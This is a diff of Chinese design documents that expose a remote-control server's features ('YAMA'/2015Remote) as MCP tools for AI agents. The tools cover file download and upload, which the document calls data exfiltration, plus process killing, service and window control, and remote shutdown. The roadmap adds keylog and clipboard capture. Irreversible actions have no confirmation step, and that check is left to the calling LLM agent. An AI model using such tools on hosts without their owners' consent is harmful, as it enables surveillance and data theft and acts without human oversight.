- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2`;`FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
|
||||
|
||||
---
|
||||
|
||||
## 8. 安全门
|
||||
|
||||
| 工具 | 定性 | 门槛 |
|
||||
|---|---|---|
|
||||
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
|
||||
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
|
||||
|
||||
- **只新增一个开关 `McpFileTransfer`(默认 0)**:download 只看它;upload 额外要求 `McpReadonly=0`。决策依据见 §12。
|
||||
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
|
||||
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
|
||||
|
||||
---
|
||||
|
||||
## 9. 改动文件清单
|
||||
|
||||
| 文件 | 改动 |
|
||||
|---|---|
|
||||
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
|
||||
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
|
||||
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle`:`COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST` 处 `OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
|
||||
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
|
||||
| (P2)`server/2015Remote/McpServer.h` | `FileTransferSession.tool` 增 `"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
|
||||
| (P2)`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
|
||||
| (P2)`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload`(`g_status` 由 0 置 1,见 §7.8) |
|
||||
|
||||
**客户端**:`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
|
||||
|
||||
---
|
||||
|
||||
## 10. 分阶段实施与回滚
|
||||
|
||||
- **P1**:`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收(真实主机拖回一个目录,SHA-256 与 `certutil -hashfile` 比对一致)。
|
||||
- **P2**:`upload_file`(§7,主连接复用 + 发送方驱动,`MessageHandle` 零改动)。可独立合入、独立验收(推一个目录到真实主机,SHA-256 与源文件 `certutil -hashfile` 比对一致)。
|
||||
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false`,`client/FileManager.cpp:1164`)、大文件进度流式上报。
|
||||
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支,revert 当期 commit 即可,不影响既有 GUI 文件管理器。
|
||||
|
||||
---
|
||||
|
||||
## 11. 测试点
|
||||
|
||||
- 单文件 / 目录(含中文名、深层嵌套)下载;SHA-256 与 `certutil -hashfile` 比对一致。
|
||||
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
|
||||
- 路径穿越:`remote_path` 含 `..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
|
||||
- 大文件(>2GB)超时与断线;并发下载同主机返回 `-32003`。
|
||||
- 编码:GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
|
||||
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
|
||||
- **上传(P2)**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建;SHA-256 与源文件 `certutil -hashfile` 比对一致。
|
||||
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
|
||||
- 上传 `remote_dir` 含 `..` 逃逸被拒;大文件(>2GB)超时与断线;并发上传/上传-下载同主机返回 `-32003`。
|
||||
- 上传编码:GBK 中文文件名往返无乱码。
|
||||
|
||||
---
|
||||
|
||||
## 12. 决策记录(以「简单易用」为原则)
|
||||
|
||||
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
|
||||
|
||||
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
|
||||
|
||||
- **威胁模型**:MCP 默认 `127.0.0.1` + token;「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单),外带通道远大于 download,目录白名单对已开终端者是冗余防御。
|
||||
- **一致性**:`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
|
||||
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
|
||||
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3,不进 P1。
|
||||
|
||||
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
|
||||
|
||||
- MCP 是 request/response;为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
|
||||
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
|
||||
- 异步任务模型进 P3,且**只在确有超大流式需求时**才做,不预建。
|
||||
|
||||
### 12.3 upload 开关 → **单一 `McpFileTransfer`,upload 复用 `McpReadonly=0`**
|
||||
|
||||
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权,readonly 语义本就只拦「改远程」。
|
||||
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`:upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*` 的 `X && !Readonly` 模式一致。
|
||||
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化(无人有此诉求)。
|
||||
|
||||
---
|
||||
|
||||
## 13. 专家审查记录(实施前)
|
||||
|
||||
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp` 的 `MessageHandle` 分派、`client/FileManager.cpp` 与 `SimplePlugins/file_upload.cpp` 的实现,结论如下:
|
||||
|
||||
| # | 审查发现 | 结论 |
|
||||
|---|---|---|
|
||||
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
|
||||
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending` 与 `m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
|
||||
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
|
||||
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2`(`FileCompletePacketV2.fileIndex`) | 会话记 `totalFiles`(首 chunk)/`filesDone`(complete 计数),`filesDone==totalFiles` 才算 done |
|
||||
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
|
||||
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167`) |
|
||||
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」,C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
|
||||
|
||||
**判定**:7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
|
||||
|
||||
### 13.1 upload_file 评审记录(P2,实施前)
|
||||
|
||||
核对了 `2015RemoteDlg.cpp` 的 `SendFilesToClientV2Internal`/`SendFileChunkToClientV2`(GUI upload 发送方)、`SimplePlugins/file_upload.cpp` 的 `FileBatchTransferWorkerV2`/`RecvFileChunkV2`、`client/KernelManager.cpp:1381` 的接收分支,结论:
|
||||
|
||||
| # | 审查发现 | 结论 |
|
||||
|---|---|---|
|
||||
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE,不是「等」 |
|
||||
| U2 | upload 走**主连接**(`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
|
||||
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx;离线返回 false 中止 |
|
||||
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5) |
|
||||
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
|
||||
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
|
||||
| U7 | 实施验证发现:客户端主连接 `g_status==0`,`RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化(§7.8):`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
|
||||
|
||||
**判定**:7 项均已写入 §7 对应小节,无阻塞项,**定稿**。
|
||||
@@ -0,0 +1,219 @@
|
||||
# MCP P7 设计:设备管理控制(kill / window / service / power)
|
||||
|
||||
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3/P4/P5/P6 的阶段演进。
|
||||
> 本文定义 P7:把 YAMA 服务端高频「控制类」操作 MCP 化,补上从「观测」到「管控」的短板,
|
||||
> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
|
||||
>
|
||||
> 安全门结论(已确认):新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具,
|
||||
> 并要求 `McpReadonly=0`;不再为每个工具单设开关。
|
||||
|
||||
## 1. 目标与范围
|
||||
|
||||
P7 交付 4 个控制类工具,覆盖服务端日常最常用的写操作:
|
||||
|
||||
| 工具 | 动作 | 命令 | 连接 | 确认方式 |
|
||||
|---|---|---|---|---|
|
||||
| `kill_process` | 结束进程(多 pid) | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
|
||||
| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`;test 补发 `COMMAND_WSLIST` |
|
||||
| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
|
||||
| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走(无响应) |
|
||||
|
||||
仅 Windows 客户端支持(`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`;注意 `list_services`
|
||||
只排除了 LNX/MAC、漏掉 APK,P7 需把 APK 一并排除)。
|
||||
|
||||
## 2. 复用现状
|
||||
|
||||
P7 **不改客户端**。客户端已全部实现下列处理(MFC 界面在跑),MCP 侧只需补齐
|
||||
「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链:
|
||||
|
||||
- 系统子连接:`COMMAND_SYSTEM`(进程)/ `COMMAND_WSLIST`(窗口)→ 客户端开 `CSystemManager`
|
||||
子连接(`client/KernelManager.cpp` 1169/1182,`client/SystemManager.cpp`)。
|
||||
- `COMMAND_KILLPROCESS`:`CSystemManager::KillProcess`(`TerminateProcess`,无回包)。
|
||||
- `CMD_WINDOW_CLOSE`:`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
|
||||
- `CMD_WINDOW_TEST`:`ShowWindow(hwnd, dHow)`(不自动回包)。
|
||||
- `COMMAND_SERVICECONFIG`:`CServicesManager::ServicesConfig`(`client/ServicesManager.cpp` 213),
|
||||
bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动,每项后 `Sleep(500)` + `SendServicesList`。
|
||||
- `TOKEN_MACHINE_MANAGE`:`KernelManager.cpp` 872,`ExitWindowsEx`(注销/关机/重启)。
|
||||
|
||||
复用现有 MCP 基建(`server/2015Remote/McpServer.{h,cpp}`):
|
||||
|
||||
- `ParseHostIdArg` / `FindMainContext`:入参解析 + 主连接定位。
|
||||
- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`:单飞行挂起 + 响应回收。
|
||||
- `OnRegeditReady`:已示范「接管子连接 → 发后续命令」的范式(P3 list_registry 三阶段),P7 直接泛化。
|
||||
|
||||
## 3. 子连接生命周期(P7 核心新增)
|
||||
|
||||
写工具与只读工具的关键差异:只读工具「子连接回一包即完成」,写工具需要
|
||||
「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
|
||||
`followUp`(接管后要发的写命令 payload,二进制)+ `followUpSent`(是否已发写命令)两个字段:
|
||||
|
||||
```
|
||||
followUpSent == false → 等子连接就绪(首包 TOKEN_*LIST 到达 = 就绪)
|
||||
followUpSent == true → 已发写命令,等确认包
|
||||
```
|
||||
|
||||
> 关键事实(已核实):三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
|
||||
> 客户端子连接构造即回一包(就绪),写操作后再回一包(确认)。因此必须用 `followUpSent`
|
||||
> 区分这两次到达,而不能靠 token 区分。这也是它与 `list_registry`(PATH/KEY 两个不同 token)
|
||||
> 的差别。
|
||||
|
||||
流程(以 `kill_process` 为例):
|
||||
|
||||
1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行(false = 设备忙),并预填
|
||||
`followUp`(`COMMAND_KILLPROCESS` 多 pid 包)。
|
||||
2. 主连接发 `COMMAND_SYSTEM`。
|
||||
3. 客户端开系统子连接,首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
|
||||
`OnSystemReady(devId, subCtx)`(类比 `OnRegeditReady`):
|
||||
- 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
|
||||
`followUp`,随后补发 `COMMAND_PSLIST` 索取新列表。
|
||||
4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走(`followUpSent==true`
|
||||
命中)→ 关闭子连接(`CancelIO`)→ 唤醒工具线程。
|
||||
5. 工具线程解析新进程列表返回;超时/失败走 `ClearPending`(**含 `subCtx->CancelIO()`**,防孤儿子连接)。
|
||||
|
||||
> 注意:`followUp`(写命令)与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
|
||||
> `Send2Client` 调用**,不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发,
|
||||
> 拼包会把后续字节当成 pid/hwnd 解析。
|
||||
|
||||
接管函数(进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上,
|
||||
客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
|
||||
`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`):
|
||||
|
||||
| 工具 | 开子连接命令 | 就绪包(首包) | 接管后写命令 | 确认包(第二包) |
|
||||
|---|---|---|---|---|
|
||||
| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
|
||||
| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`(close 自动回);`CMD_WINDOW_TEST`(test 补 `COMMAND_WSLIST`) | `TOKEN_WSLIST` |
|
||||
| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`(客户端写后自动 `SendServicesList`) | `TOKEN_SERVERLIST` |
|
||||
|
||||
`MessageHandle` 现有分派点(均已核实):
|
||||
|
||||
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支:`2015RemoteDlg.cpp:6540`(当前 `TakeMainResponse`+`CancelIO`)
|
||||
- `TOKEN_SERVERLIST` 分支:`2015RemoteDlg.cpp:6585`(同上)
|
||||
|
||||
接入方式:在这两个分支的 `IsPending(devId)` 命中后,**先按 `pending.tool` 判断是否为
|
||||
写工具(kill/operate/control_service)**;是则调 `OnSystemReady`/`OnServiceReady`(返回 true
|
||||
= 已接管、不 `CancelIO`),否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
|
||||
分支调用 `OnRegeditReady`(`2015RemoteDlg.cpp:6561`)的写法一致,避免与人工界面抢子连接。
|
||||
|
||||
## 4. 工具 schema
|
||||
|
||||
### 4.1 `kill_process`
|
||||
|
||||
```jsonc
|
||||
// inputSchema
|
||||
{ "id": "string(必填,主机 id)",
|
||||
"pids": ["integer 数组(必填,至少 1 个进程 PID)"] }
|
||||
// outputSchema
|
||||
{ "remaining": ["integer 数组(杀完后仍在运行的 PID)"] }
|
||||
```
|
||||
|
||||
- payload:`[COMMAND_KILLPROCESS:1][pid:4]*N`(DWORD 小端,与 `SystemDlg::OnPlistKill` 一致)。
|
||||
- 成功判定:返回 `remaining`(发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功)。
|
||||
- 描述需写明:`TerminateProcess` 强制结束、不保存进程状态,可能造成数据丢失。
|
||||
|
||||
### 4.2 `operate_window`
|
||||
|
||||
```jsonc
|
||||
// inputSchema
|
||||
{ "id": "string(必填)",
|
||||
"hwnd": "integer(必填,窗口句柄,取 list_windows 返回的 hwnd)",
|
||||
"action": "string(必填)close|show|hide|minimize|maximize|restore" }
|
||||
// outputSchema
|
||||
{ "ok": "boolean" }
|
||||
```
|
||||
|
||||
- payload(与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致,
|
||||
**固定 20 字节零填充 `BYTE lpMsgBuf[20]`,hwnd 一律按 `DWORD`(4 字节)小端写入 offset 1**):
|
||||
- `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`(客户端 `PostMessage WM_CLOSE`)。
|
||||
- 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`,dHow 映射(MFC 实测值):
|
||||
`hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
|
||||
`maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
|
||||
- 缓冲器必须补零到 20 字节:客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`,在 x64 是 8 字节,
|
||||
而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节,读出的 HWND 才是正确值;
|
||||
若 MCP 发最小 5 字节包,会越界读。`test` 分支(`TestWindow`)读 `[hwnd:4][dHow:4]` 共 9 字节,
|
||||
20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此,MCP 照搬。
|
||||
|
||||
### 4.3 `control_service`
|
||||
|
||||
```jsonc
|
||||
// inputSchema
|
||||
{ "id": "string(必填)",
|
||||
"service_name": "string(必填,服务名,取 list_services 返回的 service_name)",
|
||||
"action": "string(必填)start|stop|set_auto|set_manual" }
|
||||
// outputSchema
|
||||
{ "ok": "boolean" }
|
||||
```
|
||||
|
||||
- payload:`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`,
|
||||
bCmd:`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
|
||||
- 边界:客户端 `ServicesManager` 仅实现这 4 项;**无** pause / continue / delete
|
||||
(它们属于 `MachineDlg` 机器管理的另一条链路,留待 P8 评估)。
|
||||
|
||||
### 4.4 `power_action`
|
||||
|
||||
```jsonc
|
||||
// inputSchema
|
||||
{ "id": "string(必填)",
|
||||
"action": "string(必填)logout|shutdown|reboot" }
|
||||
// outputSchema
|
||||
{ "ok": "boolean" }
|
||||
```
|
||||
|
||||
- payload:`TOKEN_MACHINE_MANAGE [token:1][type:1]`,type:`logout=0` / `shutdown=1` / `reboot=2`
|
||||
(`enum MachineCommand` 顺序)。MFC 发的是 32 字节缓冲(`2015RemoteDlg::MachineManage`),
|
||||
但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`,故 2 字节即可。
|
||||
- 走**主连接**、发完即走、无响应;主机将立即离线。描述需明确「不可撤销、主机下线」。
|
||||
- 需客户端管理员权限(`EnableShutdownPrivilege`),无权限时客户端静默忽略(同 MFC 现状)。
|
||||
- **仅 Windows 客户端**:Linux 侧文档写的是 `COMMAND_SESSION`(`linux/README.md`),但代码中
|
||||
未发现对应 handler,即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
|
||||
`-32005`,不尝试发送。
|
||||
|
||||
## 5. 安全门(单一 `McpManage` 开关)
|
||||
|
||||
- 新增配置键 `settings/McpManage`(默认 `0`,关闭)。
|
||||
- 生效条件:`McpManage=1` 且 `McpReadonly=0`;二者任一不满足即隐藏 4 个工具。
|
||||
- 双保险:`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验(与 `exec_command` 的
|
||||
`IsReadonly()` 双保险一致)。
|
||||
- `McpSettingsDlg` 增加「管理操作(进程/窗口/服务/电源)」复选框,写入 `THIS_CFG`。
|
||||
- 审计:每次写操作写入服务端审计日志(`get_audit_log` 可见),记录 tool + host id + 参数摘要 + 结果。
|
||||
|
||||
## 6. 单飞行与并发约束
|
||||
|
||||
- 沿用现有约束:同 host 同一时刻只允许一个 MCP 挂起请求(`BeginPending` 保证)。
|
||||
- 写工具与只读工具共用 `m_Pending`,天然互斥;与 MFC 对话框并存(各用独立子连接,互不干扰)。
|
||||
- 超时沿用 `kMcpToolTimeoutMs = 20000`;`power_action` 因无响应、发完即返回成功。
|
||||
|
||||
## 7. 边界与风险
|
||||
|
||||
1. **杀进程/关机/重启不可逆**:描述与审计都需显著标注;不提供「确认对话框」,
|
||||
确认责任在调用方(MCP 客户端/LLM agent)。
|
||||
2. **kill 无客户端回执**:成功与否靠「新进程列表不含目标 pid」推断,`TerminateProcess`
|
||||
失败(权限不足等)时进程仍在 `remaining`,由调用方判断。
|
||||
3. **服务操作仅 4 项**:pause/continue/delete 缺省,如需需评估 `MachineDlg` 链路。
|
||||
4. **窗口句柄时效**:hwnd 可能已失效(窗口已关闭),客户端 `PostMessage/ShowWindow`
|
||||
对失效句柄静默无操作,`operate_window` 的 `ok=true` 只表示「已下发」。
|
||||
5. **子连接竞态**:写工具接管子连接后若客户端断线,`OfflineProc` 调 `OnManageSubClosed`
|
||||
清理挂起(置 done 并清 `subCtx`、唤醒等待线程;**不擦表**,由 `WaitPendingWrite` 自行擦除,
|
||||
防迭代器失效)。清 `subCtx` 是关键——context 对象被连接池回收复用,若超时路径仍对旧指针
|
||||
`CancelIO` 会误伤新连接(与 `OnTerminalClosed`/`OnScreenControlClosed` 同理)。
|
||||
|
||||
## 8. P8 / P9 路线图(后续)
|
||||
|
||||
- **P8 文件与信息面**:`delete_file/delete_directory`、`create_folder`、`rename_file`、
|
||||
`open_file`;`list_network_connections`、`list_software`、`get/set_hosts`、
|
||||
`list_scheduled_tasks`(+增删启停)、`get_keylog`。
|
||||
- **P9 进阶与 NL 增强**:`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
|
||||
`open_url`/`send_message`;**批量操作**(`ids[]`/`group` 维度);离线主机枚举
|
||||
`list_all_hosts`。
|
||||
|
||||
## 9. 实现与验证记录(2026-10-01)
|
||||
|
||||
已实现并端到端验证(真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware,id=3441387693643366974):
|
||||
|
||||
- `kill_process` → `remaining:[]`;`operate_window`(restore) → `ok:true`;
|
||||
`control_service`(set_manual AJRouter) → `ok:true`;`power_action`(reboot) → `ok:true`(发完即走)。
|
||||
三个写工具的确认包(第二个 `TOKEN_*LIST`)均正常到达,列表均 >1460 字节触发 HTTP 分片。
|
||||
- 落地:`McpManage` 开关 + `McpReadonly=0` 双保险;`McpSettingsDlg` 增「管理操作」复选框;
|
||||
主工具栏增 `MCP` 入口按钮(`ID_MCP_SETTINGS`);en/de/zh-TW 三语文案同步。
|
||||
- 前置解析 bug(验证中暴露,已单独提交 `a72e6eb`):`HeaderParser::Parse` 的
|
||||
`m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`,导致写工具的确认包被
|
||||
`PARSER_FAILED` 丢弃(「首包能到、后续包到不了」);修复为 `else if (m_bShouldUnmask != TRUE)`。
|
||||
@@ -0,0 +1,486 @@
|
||||
# YAMA MCP 功能开发技术书(Phase 2 及后续)
|
||||
|
||||
> **状态**:设计定稿(已按两轮评审修订);P2a、P2b 已实现并经真实主机验证(`search_hosts` / `get_host_detail` / `list_processes` / `list_windows` / `get_activity_history`);P2c 已实现(`get_screenshot` / `list_files`);P2d 已实现并验证(`list_services` / `get_client_log`)。
|
||||
> **读者**:MCP 后续功能的研发/评审人员。
|
||||
> **关联文档**:[Mcp_Design.md](./Mcp_Design.md)(Phase 1 的协议、架构、配置与菜单设计)。
|
||||
> **核心目标**:让 MCP 从「单个只读工具」平滑演进为「分阶段、可回滚、影响面可控」的工具集,**不一次性大改现有功能**。
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
Phase 1 已跑通 MCP 最小闭环:`httplib` + JSON-RPC 2.0,单工具 `list_online_hosts`,静态 Bearer token,经「扩展 → MCP设置」对话框开启。目标是把 YAMA 服务端已有的主机管理能力(进程、窗口、终端、截图、文件等)**逐步**暴露为 MCP 工具,供 Claude Code 等 AI 助手以工具调用方式使用。
|
||||
|
||||
本技术书解决三个问题:
|
||||
|
||||
1. **做什么**——工具路线图与优先级(只读 → 安全写 → 会话)。
|
||||
2. **怎么做**——复用现有协议,无头驱动、不弹对话框;**区分「主连接 RPC」与「子链接流式」两种模式**。
|
||||
3. **怎么稳**——每个阶段独立可交付、可回滚,影响面小、可验收。
|
||||
|
||||
---
|
||||
|
||||
## 2. 现状回顾(Phase 1 已交付)
|
||||
|
||||
| 模块 | 文件 | 职责 |
|
||||
|------|------|------|
|
||||
| HTTP/JSON-RPC 分发 | `McpServer.h` / `McpServer.cpp` | `POST /mcp`;token 校验;`initialize`/`ping`/`tools/list`/`tools/call` |
|
||||
| 工具序列化复用 | `HostJson.h` / `HostJson.cpp` | `BuildHostJson(ctx, clientMap)`,单主机 JSON(与 WebService 共用) |
|
||||
| 配置对话框 | `McpSettingsDlg.h` / `.cpp` | 运行时构造对话框:enable/port/bind/token |
|
||||
| 生命周期接入 | `2015RemoteDlg.cpp:2136-2162`(启动)、`3900-3906`(停止) | 随主对话框启停 |
|
||||
| FRP 暴露 | `2015RemoteDlg.cpp:3269-3304` | MCP 端口仅在「启用 + 绑 `0.0.0.0`」时纳入 FRP |
|
||||
|
||||
关键结论:**MCP 未引入任何新第三方库**——`httplib`(HTTP)与 `jsoncpp`(JSON)均为项目既有依赖。
|
||||
|
||||
当前工具实现只有一个 dispatch 分支(`McpServer.cpp` 的 `BuildToolsCall`),新增工具的边际成本很低:**注册 `outputSchema` + 加一个 `tools/call` 分支**。
|
||||
|
||||
---
|
||||
|
||||
## 3. 设计原则(贯穿所有后续开发)
|
||||
|
||||
1. **只读优先,写操作单独评审**:延续 `Mcp_Design.md §1.3`。只读工具直接做;任何「改变被控端状态」的工具(命令执行、杀进程、传文件、控制)必须经安全评审 + 独立授权。
|
||||
2. **复用现有协议,不新造命令**:一切数据获取/操控都走 `common/commands.h` 里既有的 `COMMAND_*`(服务端→客户端)与 `TOKEN_*`(客户端→服务端),不新增自定义命令。
|
||||
3. **无头接管复用 Web 终端模式**:对话框只是 UI 外壳;MCP 复用 `WebService` 的挂起标记/接管模式,把数据接到 MCP 侧,**不弹框**。
|
||||
4. **每阶段独立可交付、可回滚**:一个阶段 = 一批工具 + 对应验收;出错可单独 revert,不连坐。
|
||||
5. **超时与清理是硬约束**:MCP 是 request/response,一次 `tools/call` 不能无限阻塞等数据;必须有超时、迟到回收、用完即关。
|
||||
6. **输出 schema 先行**:每个工具先在 `tools/list` 里声明完整 `inputSchema`/`outputSchema`,AI 客户端据此决定何时调用、如何解析。
|
||||
|
||||
---
|
||||
|
||||
## 4. 核心机制:无头驱动(双模式)
|
||||
|
||||
